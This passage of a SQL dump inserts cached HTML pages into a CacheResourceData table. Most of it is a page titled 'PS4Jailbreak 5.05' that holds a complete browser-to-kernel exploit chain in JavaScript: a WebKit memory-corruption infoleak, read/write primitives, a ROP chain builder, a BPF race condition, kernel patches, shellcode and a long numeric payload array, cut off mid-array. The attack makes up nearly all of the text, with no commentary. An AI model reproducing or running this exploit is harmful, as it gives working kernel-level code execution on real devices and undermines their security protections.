57,6647145,1952674657,1600482665,1835466866,1701669236,1953326848,1600482665,1869348979,1953259875,6647145,1633906540,1835627628,7495525,1769237357,1862296941,1684956528,1912631913,1684300133,1912631913,1684300133,1918857833,1818588160,1919509612,1701147392,1919509611,2003137024,1684303465,1660973673,1702063980,7498084,1718774116,1701249124,1869770868,1835101799,1868955749,7234928,1634038374,2003173476,1702127986,1702061568,1711303525,1819043188,1818453504,6648687,1769107558,6714478,0,0,0,0,0,0];for(var i=0;i<payload.length;i++){payloadbuf.backing[i]=payload[i];};p.syscall(74,payloadbuf,65536,7);p.syscall(324,1);p.fcall(createThread,payloadbuf,0,p.sptr("payload"));done();}</script></body></html>',NULL);
INSERT INTO `CacheResourceData` VALUES (4,'<!DOCTYPE html><html><head><title>PS4Jailbreak 5.05</title><meta name=viewport content="width=device-width, initial-scale=1"><style>.loader{position:absolute;left:50%;top:50%;margin:-75px 0 0 -75px;border:10px solid #f3f3f3;border-radius:50%;border-top:10px solid #044595;border-left:10px solid #044595;width:120px;height:120px;-webkit-animation:spin 1s linear infinite}.info{overflow:hidden;position:fixed;position:absolute;top:50%;left:50%;font-size:45px;font-family:sans-serif;transform:translate(-50%,-50%)}.credits{overflow:hidden;position:fixed;position:absolute;top:90%;left:50%;font-size:16px;font-family:sans-serif;text-align:center;transform:translate(-50%,-90%)}@-webkit-keyframes spin{0%{-webkit-transform:rotate(0deg)}100%{-webkit-transform:rotate(360deg)}}</style></head><body style=margin:0><div id=loader class=loader></div><div id=done class=info style=display:none>Done.</div><div id=fail class=info style=display:none>Fail!</div><div id=footer class=credits><ul style=list-style:none;padding-left:0><li><a href=#>qwertyoruiopz</a></li><li><a href=#>flatz</a></li><li><a href=#>specter</a></li><li><a href=#>xvortex</a></li><li>anonymous contributors</li></ul></div><script>var p;var s={};var g={};var gc={"pop_r8":96709,"pop_r9":12268047,"pop_rax":17397,"pop_rcx":339545,"pop_rdx":1826852,"pop_rsi":586634,"pop_rdi":232890,"pop_rsp":124551,"jmp_rax":130,"jmp_rdi":2711166,"mov_rdx_rax":3488561,"mov_rdi_rax":22692143,"mov_rax_rdx":1896224,"mov_rbp_rsp":985418,"mov__rdi__rax":3857131,"mov__rdi__rsi":146114,"mov__rax__rsi":2451047,"mov_rax__rax__":444474,"mov_rax__rdi__":290553,"add_rax_rsi":1384646,"and_rax_rsi":22481823,"add_rdi_rax":5593055,"jop":800720,"ret":60,"stack_chk_fail":200,"setjmp":5368};window.onload=function(){setTimeout(exploit,3000);};window.onerror=function(e){document.getElementById("loader").style.display="none";document.getElementById("fail").style.display="block";if(e.startsWith("Error:")==true){alert(e);}else{location.reload();};};function done(){document.getElementById("loader").style.display="none";document.getElementById("done").style.display="block";};var rop=function(){this.stack=new Uint32Array(65536);this.stackBase=p.read8(p.leakval(this.stack).add32(16));this.count=0;this.clear=function(){this.count=0;this.runtime=undefined;for(var i=0;i<4080/2;i++){p.write8(this.stackBase.add32(i*8),0);};};this.pushSymbolic=function(){this.count++;return this.count-1;};this.finalizeSymbolic=function(idx,val){p.write8(this.stackBase.add32(idx*8),val);};this.push=function(val){this.finalizeSymbolic(this.pushSymbolic(),val);};this.push_write8=function(where,what){this.push(g.pop_rdi);this.push(where);this.push(g.pop_rsi);this.push(what);this.push(g.mov__rdi__rsi);};this.fcall=function(rip,rdi,rsi,rdx,rcx,r8,r9){if(rdi!=undefined){this.push(g.pop_rdi);this.push(rdi);};if(rsi!=undefined){this.push(g.pop_rsi);this.push(rsi);};if(rdx!=undefined){this.push(g.pop_rdx);this.push(rdx);};if(rcx!=undefined){this.push(g.pop_rcx);this.push(rcx);};if(r8!=undefined){this.push(g.pop_r8);this.push(r8);};if(r9!=undefined){this.push(g.pop_r9);this.push(r9);};this.push(rip);return this;};this.run=function(){var retv=p.loadchain(this,this.notimes);this.clear();return retv;};return this;};function makeid(){var text="";var possible="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";for(var i=0;i<8;i++){text+=possible.charAt(Math.floor(Math.random()*possible.length));};return text;};var instancespr=[];for(var i=0;i<4096;i++){instancespr[i]=new Uint32Array(1);instancespr[i][makeid()]=50057;};var _dview;function u2d(low,hi){if(!_dview)_dview=new DataView(new ArrayBuffer(16));_dview.setUint32(0,hi);_dview.setUint32(4,low);return _dview.getFloat64(0);};function zeroFill(number,width){width-=number.toString().length;if(width>0){return new Array(width+(/\./.test(number)?2:1)).join("0")+number;};return number+"";};function int64(low,hi){this.low=(low>>>0);this.hi=(hi>>>0);this.add32=function(val){var new_lo=(((this.low>>>0)+val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo<this.low){new_hi++;};return new int64(new_lo,new_hi);};this.add32inplace=function(val){var new_lo=(((this.low>>>0)+val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo<this.low){new_hi++;};this.hi=new_hi;this.low=new_lo;};this.sub32=function(val){var new_lo=(((this.low>>>0)-val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo>(this.low)&4294967295){new_hi--;};return new int64(new_lo,new_hi);};this.sub32inplace=function(val){var new_lo=(((this.low>>>0)-val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo>(this.low)&4294967295){new_hi--;};this.hi=new_hi;this.low=new_lo;};this.toString=function(val){val=16;var lo_str=(this.low>>>0).toString(val);var hi_str=(this.hi>>>0).toString(val);if(this.hi==0)return lo_str;else{lo_str=zeroFill(lo_str,8);};return hi_str+lo_str;};return this;};var nogc=[];var tgt={a:0,b:0,c:0,d:0};var y=new ImageData(1,16384);postMessage("","*",[y.data.buffer]);var props={};for(var i=0;i<16384/2;){props[i++]={value:1111638594};props[i++]={value:tgt};};var foundLeak=undefined;var foundIndex=0;var maxCount=256;while(foundLeak==undefined&&maxCount>0){maxCount--;history.pushState(y,"");Object.defineProperties({},props);var leak=new Uint32Array(history.state.data.buffer);for(var i=0;i<leak.length-6;i++){if(leak[i]==1111638594&&leak[i+1]==4294901760&&leak[i+2]==0&&leak[i+3]==0&&leak[i+4]==0&&leak[i+5]==0&&leak[i+6]==14&&leak[i+7]==0&&leak[i+10]==0&&leak[i+11]==0&&leak[i+12]==0&&leak[i+13]==0&&leak[i+14]==14&&leak[i+15]==0){foundIndex=i;foundLeak=leak;break;};};};if(!foundLeak){throw new Error("infoleak fail");};Array.prototype.__defineGetter__(100,()=>1);var firstLeak=Array.prototype.slice.call(foundLeak,foundIndex,foundIndex+64);var leakJSVal=new int64(firstLeak[8],firstLeak[9]);var f=document.body.appendChild(document.createElement("iframe"));var a=new f.contentWindow.Array(13.37,13.37);var b=new f.contentWindow.Array(u2d(leakJSVal.low+16,leakJSVal.hi),13.37);var master=new Uint32Array(4096);var slave=new Uint32Array(4096);var leakval_u32=new Uint32Array(4096);var leakval_helper=[slave,2,3,4,5,6,7,8,9,10];tgt.a=u2d(2048,23077632);tgt.b=0;tgt.c=leakval_helper;tgt.d=4919;var c=Array.prototype.concat.call(a,b);document.body.removeChild(f);var hax=c[0];c[0]=0;tgt.c=c;hax[2]=0;hax[3]=0;Object.defineProperty(Array.prototype,100,{get:undefined});tgt.c=leakval_helper;var butterfly=new int64(hax[2],hax[3]);butterfly.low+=16;tgt.c=leakval_u32;var lkv_u32_old=new int64(hax[4],hax[5]);hax[4]=butterfly.low;hax[5]=butterfly.hi;tgt.c=master;hax[4]=leakval_u32[0];hax[5]=leakval_u32[1];var a2sb=new int64(master[4],master[5]);tgt.c=leakval_u32;hax[4]=lkv_u32_old.low;hax[5]=lkv_u32_old.hi;tgt.c=0;hax=0;var p={write8:function(addr,val){master[4]=addr.low;master[5]=addr.hi;if(val instanceof int64){slave[0]=val.low;slave[1]=val.hi;}else{slave[0]=val;slave[1]=0;};master[4]=a2sb.low;master[5]=a2sb.hi;},write4:function(addr,val){master[4]=addr.low;master[5]=addr.hi;slave[0]=val;master[4]=a2sb.low;master[5]=a2sb.hi;},read8:function(addr){master[4]=addr.low;master[5]=addr.hi;var rtv=new int64(slave[0],slave[1]);master[4]=a2sb.low;master[5]=a2sb.hi;return rtv;},read4:function(addr){master[4]=addr.low;master[5]=addr.hi;var rtv=slave[0];master[4]=a2sb.low;master[5]=a2sb.hi;return rtv;},leakval:function(jsval){leakval_helper[0]=jsval;var rtv=this.read8(butterfly);this.write8(butterfly,new int64(1094795585,4294901760));return rtv;}};var get_jmptgt=function(addr){var z=p.read4(addr)&65535;var y=p.read4(addr.add32(2));if(z!=9727)return 0;return addr.add32(y+6);};var exploit=function(){p.leakfunc=function(func){var fptr_store=p.leakval(func);return(p.read8(fptr_store.add32(24))).add32(64);};var parseFloatStore=p.leakfunc(parseFloat);var webKitBase=p.read8(parseFloatStore);webKitBase.low&=4294963200;webKitBase.sub32inplace(5881856-147456);var o2wk=function(o){return webKitBase.add32(o);};for(var gn in gc){if(gc.hasOwnProperty(gn)){g[gn]=o2wk(gc[gn]);};};var libKernelBase=p.read8(get_jmptgt(g.stack_chk_fail));libKernelBase.low&=4294963200;libKernelBase.sub32inplace(53248+16384);var wkview=new Uint8Array(4096);var wkstr=p.leakval(wkview).add32(16);p.write8(wkstr,webKitBase);p.write4(wkstr.add32(8),57131008);var hold1;var hold2;var holdz;var holdz1;while(1){hold1={a:0,b:0,c:0,d:0};hold2={a:0,b:0,c:0,d:0};holdz1=p.leakval(hold2);holdz=p.leakval(hold1);if(holdz.low-48==holdz1.low)break;};var pushframe=[];pushframe.length=128;var funcbuf;var funcbuf32=new Uint32Array(256);nogc.push(funcbuf32);var launch_chain=function(chain){var stackPointer=0;var stackCookie=0;var orig_reenter_rip=0;var reenter_help={length:{valueOf:function(){orig_reenter_rip=p.read8(stackPointer);stackCookie=p.read8(stackPointer.add32(8));var returnToFrame=stackPointer;var ocnt=chain.count;chain.push_write8(stackPointer,orig_reenter_rip);chain.push_write8(stackPointer.add32(8),stackCookie);if(chain.runtime)returnToFrame=chain.runtime(stackPointer);chain.push(g.pop_rsp);chain.push(returnToFrame);chain.count=ocnt;p.write8(stackPointer,(g.pop_rsp));p.write8(stackPointer.add32(8),chain.stackBase);}}};funcbuf=p.read8(p.leakval(funcbuf32).add32(16));p.write8(funcbuf.add32(48),g.setjmp);p.write8(funcbuf.add32(128),g.jop);p.write8(funcbuf,funcbuf);p.write8(parseFloatStore,g.jop);var orig_hold=p.read8(holdz1);var orig_hold48=p.read8(holdz1.add32(72));p.write8(holdz1,funcbuf.add32(80));p.write8(holdz1.add32(72),funcbuf);parseFloat(hold2,hold2,hold2,hold2,hold2,hold2);p.write8(holdz1,orig_hold);p.write8(holdz1.add32(72),orig_hold48);stackPointer=p.read8(funcbuf.add32(16));rtv=Array.prototype.splice.apply(reenter_help);return p.leakval(rtv);};p.loadchain=launch_chain;var kview=new Uint8Array(4096);var kstr=p.leakval(kview).add32(16);p.write8(kstr,libKernelBase);p.write4(kstr.add32(8),262144);var countbytes;for(var i=0;i<262144;i++){if(kview[i]==114&&kview[i+1]==100&&kview[i+2]==108&&kview[i+3]==111&&kview[i+4]==99){countbytes=i;break;};};p.write4(kstr.add32(8),countbytes+32);var dview32=new Uint32Array(1);var dview8=new Uint8Array(dview32.buffer);for(var i=0;i<countbytes;i++){if(kview[i]==72&&kview[i+1]==199&&kview[i+2]==192&&kview[i+7]==73&&kview[i+8]==137&&kview[i+9]==202&&kview[i+10]==15&&kview[i+11]==5){dview8[0]=kview[i+3];dview8[1]=kview[i+4];dview8[2]=kview[i+5];dview8[3]=kview[i+6];var syscallno=dview32[0];s[syscallno]=libKernelBase.add32(i);};};var chain=new rop();var returnvalue;p.fcall_=function(rip,rdi,rsi,rdx,rcx,r8,r9){chain.clear();chain.notimes=this.next_notime;this.next_notime=1;chain.fcall(rip,rdi,rsi,rdx,rcx,r8,r9);chain.push(g.pop_rdi);chain.push(chain.stackBase.add32(16376));chain.push(g.mov__rdi__rax);chain.push(g.pop_rax);chain.push(p.leakval(1094795842));if(chain.run().low!=1094795842){throw new Error("unexpected rop behaviour");};returnvalue=p.read8(chain.stackBase.add32(16376));};p.fcall=function(){p.fcall_.apply(this,arguments);return returnvalue;};p.readstr=function(addr){var addr_=addr.add32(0);var rd=p.read4(addr_);var buf="";while(rd&255){buf+=String.fromCharCode(rd&255);addr_.add32inplace(1);rd=p.read4(addr_);};return buf;};p.syscall=function(sysc,rdi,rsi,rdx,rcx,r8,r9){if(typeof sysc!="number"){throw new Error("invalid syscall");};var off=s[sysc];if(off==undefined){throw new Error("invalid syscall");};return p.fcall(off,rdi,rsi,rdx,rcx,r8,r9);};p.sptr=function(str){var bufView=new Uint8Array(str.length+1);for(var i=0;i<str.length;i++){bufView[i]=str.charCodeAt(i)&255;};nogc.push(bufView);return p.read8(p.leakval(bufView).add32(16));};p.malloc=function(sz){var backing=new Uint8Array(65536+sz);nogc.push(backing);var ptr=p.read8(p.leakval(backing).add32(16));ptr.backing=backing;return ptr;};p.malloc32=function(sz){var backing=new Uint8Array(65536+sz*4);nogc.push(backing);var ptr=p.read8(p.leakval(backing).add32(16));ptr.backing=new Uint32Array(backing.buffer);return ptr;};var test=p.syscall(23,0);if(test!="0"){var fd=p.syscall(5,p.sptr("/dev/bpf0"),2).low;var fd1=p.syscall(5,p.sptr("/dev/bpf0"),2).low;if(fd==(-1>>>0)){throw new Error("open bpf fail");};var bpf_valid=p.malloc32(16384);var bpf_spray=p.malloc32(16384);var bpf_valid_u32=bpf_valid.backing;var bpf_valid_prog=p.malloc(64);p.write8(bpf_valid_prog,2048/8);p.write8(bpf_valid_prog.add32(8),bpf_valid);var bpf_spray_prog=p.malloc(64);p.write8(bpf_spray_prog,2048/8);p.write8(bpf_spray_prog.add32(8),bpf_spray);for(var i=0;i<1024;){bpf_valid_u32[i++]=6;bpf_valid_u32[i++]=0;};var rtv=p.syscall(54,fd,2148549243,bpf_valid_prog);if(rtv.low!=0){throw new Error("ioctl bpf fail");};var spawnthread=function(name,chain){var longjmp=webKitBase.add32(5352);var createThread=webKitBase.add32(7836560);var contextp=p.malloc32(8192);var contextz=contextp.backing;contextz[0]=1337;var thread2=new rop();thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.ret);chain(thread2);p.write8(contextp,g.ret);p.write8(contextp.add32(16),thread2.stackBase);p.syscall(324,1);var retv=function(){p.fcall(createThread,longjmp,contextp,p.sptr(name));};nogc.push(contextp);nogc.push(thread2);return retv;};var interrupt1,loop1;var sock=p.syscall(97,2,2);var kscratch=p.malloc32(4096);var start1=spawnthread("GottaGoFast",function(thread2){interrupt1=thread2.stackBase;thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.pop_rdi);thread2.push(fd);thread2.push(g.pop_rsi);thread2.push(2148549243);thread2.push(g.pop_rdx);thread2.push(bpf_valid_prog);thread2.push(g.pop_rsp);thread2.push(thread2.stackBase.add32(2048));thread2.count=256;var cntr=thread2.count;thread2.push(s[54]);thread2.push_write8(thread2.stackBase.add32(cntr*8),s[54]);thread2.push(g.pop_rdi);var wherep=thread2.pushSymbolic();thread2.push(g.pop_rsi);var whatp=thread2.pushSymbolic();thread2.push(g.mov__rdi__rsi);thread2.push(g.pop_rsp);loop1=thread2.stackBase.add32(thread2.count*8);thread2.push(1094795585);thread2.finalizeSymbolic(wherep,loop1);thread2.finalizeSymbolic(whatp,loop1.sub32(8));});var krop=new rop();var race=new rop();var ctxp=p.malloc32(8192);var ctxp1=p.malloc32(8192);var ctxp2=p.malloc32(8192);p.write8(bpf_spray.add32(16),ctxp);p.write8(ctxp.add32(80),0);p.write8(ctxp.add32(104),ctxp1);var stackshift_from_retaddr=0;p.write8(ctxp1.add32(16),o2wk(19536333));stackshift_from_retaddr+=8+88;p.write8(ctxp.add32(0),ctxp2);p.write8(ctxp.add32(16),ctxp2.add32(8));p.write8(ctxp2.add32(2000),o2wk(7271653));var iterbase=ctxp2;for(var i=0;i<15;i++){p.write8(iterbase,o2wk(19536333));stackshift_from_retaddr+=8+88;p.write8(iterbase.add32(2000+32),o2wk(7271653));p.write8(iterbase.add32(8),iterbase.add32(32));p.write8(iterbase.add32(24),iterbase.add32(32+8));iterbase=iterbase.add32(32);};var raxbase=iterbase;var rdibase=iterbase.add32(8);var memcpy=get_jmptgt(webKitBase.add32(248));memcpy=p.read8(memcpy);p.write8(raxbase,o2wk(22848539));stackshift_from_retaddr+=8;p.write8(rdibase.add32(112),o2wk(19417140));stackshift_from_retaddr+=8;p.write8(rdibase.add32(24),rdibase);p.write8(rdibase.add32(8),krop.stackBase);p.write8(raxbase.add32(48),g.mov_rbp_rsp);p.write8(rdibase,raxbase);p.write8(raxbase.add32(1056),o2wk(2566497));p.write8(raxbase.add32(64),memcpy.add32(194-144));var topofchain=stackshift_from_retaddr+40;p.write8(rdibase.add32(176),topofchain);for(var i=0;i<4096/8;i++){p.write8(krop.stackBase.add32(i*8),g.ret);};krop.count=16;var kpatch=function(offset,qword){krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(offset);krop.push(g.add_rax_rsi);krop.push(g.pop_rsi);krop.push(qword);krop.push(g.mov__rax__rsi);};var kpatch2=function(offset,offset2){krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(offset);krop.push(g.add_rax_rsi);krop.push(g.mov_rdi_rax);krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(offset2);krop.push(g.add_rax_rsi);krop.push(g.mov__rdi__rax);};p.write8(kscratch.add32(1056),g.pop_rdi);p.write8(kscratch.add32(64),g.pop_rax);p.write8(kscratch.add32(24),kscratch);krop.push(g.pop_rdi);krop.push(kscratch.add32(24));krop.push(g.mov_rbp_rsp);var rboff=topofchain-krop.count*8+40;krop.push(o2wk(2566497));krop.push(g.pop_rax);krop.push(rboff);krop.push(g.add_rdi_rax);krop.push(g.mov_rax__rdi__);krop.push(g.pop_rsi);krop.push(762);krop.push(g.add_rax_rsi);krop.push(g.mov__rdi__rax);var shellbuf=p.malloc32(4096);krop.push(g.pop_rdi);krop.push(kscratch);krop.push(g.mov__rdi__rax);krop.push(g.pop_rsi);krop.push(808116);krop.push(g.add_rax_rsi);krop.push(g.pop_rdi);krop.push(kscratch.add32(8));krop.push(g.mov__rdi__rax);krop.push(g.jmp_rax);krop.push(g.pop_rdi);krop.push(kscratch.add32(16));krop.push(g.mov__rdi__rax);krop.push(g.pop_rsi);krop.push(new int64(4294901759,4294967295));krop.push(g.and_rax_rsi);krop.push(g.mov_rdx_rax);krop.push(g.pop_rax);krop.push(kscratch.add32(8));krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(9);krop.push(g.add_rax_rsi);krop.push(g.mov_rdi_rax);krop.push(g.mov_rax_rdx);krop.push(g.jmp_rdi);krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(221338);krop.push(g.add_rax_rsi);krop.push(g.mov_rax__rax__);krop.push(g.pop_rdi);krop.push(kscratch.add32(816));krop.push(g.mov__rdi__rax);kpatch(221338,new int64(2425420344,2425393296));kpatch(20169540,shellbuf);kpatch(new int64(4293816070,4294967295),new int64(184,3297329408));kpatch(new int64(4293470503,4294967295),new int64(0,1082624841));kpatch(new int64(4293470533,4294967295),new int64(2425388523,1922076816));kpatch(new int64(4294769332,4294967295),new int64(934690871,826654769));kpatch(828366,new int64(233,2336788480));kpatch(1329844,new int64(2428747825,2425393296));kpatch(new int64(15789236,0),new int64(2,0));kpatch2(new int64(15789244,0),new int64(4293548276,4294967295));kpatch(new int64(15789276,0),new int64(0,1));krop.push(g.pop_rax);krop.push(kscratch.add32(8));krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(9);krop.push(g.add_rax_rsi);krop.push(g.mov_rdi_rax);krop.push(g.pop_rax);krop.push(kscratch.add32(16));krop.push(g.mov_rax__rax__);krop.push(g.jmp_rdi);krop.push(o2wk(380345));krop.push(kscratch.add32(4096));var kq=p.malloc32(16);var kev=p.malloc32(256);kev.backing[0]=sock;kev.backing[2]=131071;kev.backing[3]=1;kev.backing[4]=5;var shcode=[35817,2425393152,2425393296,2425393296,8567125,2303246336,1096172005,1398030677,2303275535,3149957588,256,551862601,1220806985,9831821,2370371584,4265616532,2370699263,3767542964,2370633744,1585456300,2169045059,1265721540,277432321,4202255,698,3867757568,524479,3607052544,960335176,1207959552,3224487561,2211839809,3698655723,1103114587,1096630620,2428722526,1032669269,4294967160,2303260209,15293925,1207959552,770247,2303262720,3271888842,1818324331,979595116,628633632,1815490864,2648,0,0,0,0,0,0,0,0,0,0,0,0,0,0];for(var i=0;i<shcode.length;i++){shellbuf.backing[i]=shcode[i];};start1();while(1){race.count=0;race.push(s[362]);race.push(g.pop_rdi);race.push(kq);race.push(g.mov__rdi__rax);race.push(g.ret);race.push(g.ret);race.push(g.ret);race.push(g.ret);race.push_write8(loop1,interrupt1);race.push(g.pop_rdi);race.push(fd);race.push(g.pop_rsi);race.push(2148549243);race.push(g.pop_rdx);race.push(bpf_valid_prog);race.push(s[54]);race.push(g.pop_rax);race.push(kq);race.push(g.mov_rax__rax__);race.push(g.mov_rdi_rax);race.push(g.pop_rsi);race.push(kev);race.push(g.pop_rdx);race.push(1);race.push(g.pop_rcx);race.push(0);race.push(g.pop_r8);race.push(0);race.push(s[363]);race.push(g.pop_rdi);race.push(fd1);race.push(g.pop_rsi);race.push(2148549243);race.push(g.pop_rdx);race.push(bpf_spray_prog);race.push(s[54]);race.push(g.pop_rax);race.push(kq);race.push(g.mov_rax__rax__);race.push(g.mov_rdi_rax);race.push(s[6]);race.run();if(kscratch.backing[0]!=0){p.syscall(74,shellbuf,16384,7);p.fcall(shellbuf);break;};};};var createThread=webKitBase.add32(7836560);var payloadbuf=p.malloc32(16384);var payload=[143593,2303218432,3967895802,512,2603978056,1207959572,3224496009,673584639,2303197184,8503270,369033216,9872,12878152,1526726658,827545027,1032016347,8795,2151511040,2257469,628359168,369098545,10184,1220905288,2202589225,327028472,1430097224,1207959586,2464738185,3959422975,3218813186,1,683546111,3135963136,1539322202,1413595997,1398133297,838043976,136505590,4169334784,3127866623,511,393662,3750316032,166249865,2197815304,2302803960,3209196740,65536,641865215,2236088320,3280554176,12201332,1207959808,4018790025,509928,3229960192,2303201396,3733539010,3907488068,1984,2303253739,2769682399,1140850727,3320375177,1526726663,1096675209,129689948,1566244864,1103322177,1096171863,1431585109,3967895635,2200,1241418057,369096585,9976,264275272,60036,33537536,2303459328,3297331711,615288136,144,523240,1150109696,2370574372,76555436,2303197184,1275601988,369092489,9652,264275272,42372,1485654016,898451464,4925,4292839752,2533141,1958774016,898451670,4904,4292839752,2528021,1958774016,3649652930,1223854412,319894925,2303197184,4290785775,2526997,3649652736,1224378700,318322061,2303459328,4290785775,2520853,1955284992,2303199268,126281967,3229941760,1149993333,627449892,1030156288,276119552,1223592268,417918857,3925868543,4294967139,2147499366,4284056847,2303524863,4018751726,4294866408,4283034111,2303524863,1830158311,1207959590,144229505,1566244864,1564564545,1598119489,2303218627,3968026875,245557264,1055391744,3892314120,3373,3140848968,1207959557,197122697,822083584,304277696,1558708224,3338665991,2109189,256,3335074048,2115077,4130406400,612142408,93146120,4669,2853539144,4294967293,2517781,33536512,29229056,1207959558,304561549,300417024,2197815302,2232418296,731,131002,100777472,2370306048,1186621,99805184,4169334784,1215985151,303904141,2370306048,1194557,4255705088,2370371583,1198901,1032669184,4716,4294809064,898451711,4737,2822606152,3892314130,4294966658,3275066696,1207959570,318455181,1877475328,1224736765,321336717,2370306048,1270589,4250724352,2370371583,1282877,4241221632,96993279,8028,0,307433,3905390848,1400,3426585928,3892314131,4294966441,2101185864,3892314129,1388,131006,1032669184,5058,381928,898451456,5067,2419952968,3892314129,4294966526,3543502152,1207959571,297942413,3957850112,1224736764,333395341,2370306048,1179197,4242073600,4290707455,1207959553,334249357,2313682944,3187671045,511,4013788488,3892314131,1400,131006,1032669184,5118,354280,33537536,2370306048,1316157,89581568,4290641920,1207959553,338181517,1172832256,3187671045,511,1077775688,3892314132,1332,131006,1032669184,5211,336872,33537536,2370306048,1341757,85125120,4290641920,1207959553,344014221,31981568,3187671045,511,2386398536,3892314132,1264,131006,1032669184,5276,319464,33537536,2370306048,1354557,80668672,4290641920,1207959553,347815309,3186098176,3187671044,511,3376254280,3892314132,1196,131006,1032669184,5342,302056,33537536,2370306048,1374781,76212224,2370306048,1384245,1032669184,7664,369082417,9072,4281699656,1207959570,371277197,686292992,1224736764,353777037,2370306048,1579069,4229294080,2370371583,1302581,1032669184,5890,4294705896,898451711,5100,238914888,3892314135,4294966255,4181036360,1207959571,387661197,3706191872,1224736763,340538765,2370306048,1535549,4224313344,2370371583,1336885,1032669184,6024,4294686440,898451711,4806,3896347976,3892314133,4294966179,3694497096,1207959570,368983437,2431123456,1224736763,318059917,1105788928,2298478594,53668039,2370306048,1350973,4200851456,2370371583,992317,52881408,4290641920,1207959553,345193869,2380791808,1207959555,345781645,2370306048,1002045,4206422016,2370371583,1352757,1032669184,3964,4294616552,898451711,5296,3091041608,3892314127,4294965906,131006,1032669184,5309,213992,33537536,2370306048,1359933,53667840,4290641920,1207959553,349126029,568852480,3187671043,511,3862793544,3892314132,784,131006,1032669184,5369,196584,33537536,2370306048,1380669,49211392,4290641920,1207959553,355220877,3722969088,3187671042,511,1245547848,3892314133,716,131006,1032669184,5458,179176,33537536,2370306048,1400637,44754944,4290641920,1207959553,359480717,2582118400,3187671042,511,2084408648,3892314133,648,131006,1032669184,5516,161768,33537536,2370306048,1415741,40298496,4290641920,1207959553,363806093,1441267712,3187671042,511,3409808712,3892314133,580,3644165448,1207959570,464141709,3224436736,556406271,2370306048,1298485,1032669184,5083,4294566632,898451711,5575,3527249224,3892314133,4294965711,2973076808,1207959572,347880845,3169320960,1224736761,347944333,2370306048,1361981,4188661760,2370371583,1362485,1032669184,5333,4294547176,898451711,5405,675122504,3892314133,4294965635,926256456,1207959573,356662669,1894252544,1224736761,328676749,2370306048,1286717,4183681024,2370371583,1289525,1032669184,5048,4294527720,898451711,5062,3510472008,3892314131,4294965559,1111330120,3321888786,1758725,96927744,6828,0,4294446312,3296938239,1539322128,4186523843,3242734095,155721954,2336801744,2193164359,1220542464,1279291531,256393355,3515435058,412519240,1207959553,1210114497,1187497993,4,3224193024,3338665985,2118,1187446784,20,182016,1207959552,2258669707,2303197449,2202546262,2336817098,739930240,1082738946,1082738976,2274052120,304,1294152,0,2303211521,2303221840,2303219832,537880656,3263776960,4293034312,268435199,571458082,3284152768,62965576,3909091328,3031,79742792,3909091328,3019,96520008,3909091328,3007,113297224,3909091328,2995,180406088,3909091328,2983,163628872,3909091328,2971,985712456,3909091328,2959,968935240,3909091328,2947,364955464,3909091328,2935,2059454280,3909091329,2923,381732680,3909091328,2911,2076231496,3909091328,2899,2093008712,3909091328,2887,2160117576,3909091328,2875,2294335304,3909091328,2863,2311112520,3909091328,2851,3166750536,3909091328,2839,3183527752,3909091328,2827,3200304968,3909091328,2815,281069384,3909091329,2803,3737175880,3909091329,2791,3988834120,3909091329,2779,1224378696,827388297,39501814,3224436736,705512,834886144,3526447305,2370369073,1264445,3375449344,4290785605,2087701,2370328832,1891093,898451456,4950,15320969,1207959552,38781127,2296971264,1207959562,38846663,2095644672,1342177290,1611056968,1207959553,3224498825,1371537033,3892314114,2656,2303247194,3526447345,1174309192,1388298289,822083586,172419264,3277455360,827391625,3217633746,595,837337137,1509949450,1355362755,4130460209,138251592,1157627923,826657073,1226178496,1493172255,1360366920,1207959580,318911885,3347644416,4294930153,826627071,3224454601,3526478129,2370369073,1244733,420871936,1207959583,476190093,2370306048,1245749,2311293184,4282247367,3750363135,3776286024,1207959581,317732237,686292992,2315255807,361580767,7260,3761605960,3892314130,4294967059,2370363273,1881877,898451456,4818,4294901480,1222609407,490870157,2370306048,1230133,4276742144,3750363135,3977612616,1207959580,314127757,3571974144,2315255806,361580767,7112,2872413512,3892314130,4294966975,2370363273,1864469,898451456,4765,4294879976,1222609407,461247885,2370306048,1216309,4271237120,3750363135,823496008,1207959580,310457741,2162688000,2315255806,361580767,7132,1949666632,3892314130,4294966891,2370363273,1847061,898451456,4710,4294858472,1222609407,484054413,2370306048,1202485,4265732096,3750363135,1964346696,1207959580,306918797,753401856,2315255806,361580767,7104,1026919752,3892314130,4294966807,2370363273,1860373,898451456,4656,4294836968,1222609407,451810701,2370306048,1188661,4260227072,3750363135,2836761928,1207959579,303510925,3639083008,2315255805,361580767,7268,154504520,3892314130,4294966723,2370363273,1765141,898451456,4603,4294815464,1222609407,455218573,2370306048,1175093,4254722048,3750363135,1964346696,1207959579,299906445,2229796864,2315255805,361580767,7016,3543502152,3892314129,4294966639,2370363273,1747733,898451456,4541,4294793960,1222609407,465442189,2370306048,1158965,4249217024,3750363135,3105197384,1207959579,295843213,820510720,2315255805,361580767,6844,2452983112,3892314129,4294966555,2370363273,1703701,898451456,4485,4294772456,1222609407,441062797,2370306048,1145141,4243712000,3750363135,3306523976,1207959578,292500877,3706191872,2315255804,361580767,6792,1630899528,3892314129,4294966471,2370363273,1760021,898451456,4434,4294750952,1222609407,439227789,2370306048,1130037,4238206976,3750363135,2031455560,1207959577,288241037,2296905728,2315255804,361580767,6780,557157704,3892314129,4294966387,2370363273,1689365,898451456,4358,4294729448,1222609407,447878541,2370306048,1112373,4232701952,3750363135,1830128968,1207959578,282932621,887619584,2315255804,361580767,6832,3610611016,3892314128,4294966303,2370363273,1727253,898451456,4297,4294707944,1222609407,436606349,2370306048,1097013,4227196928,3750363135,1360366920,1207959578,280114573,3773300736,2315255803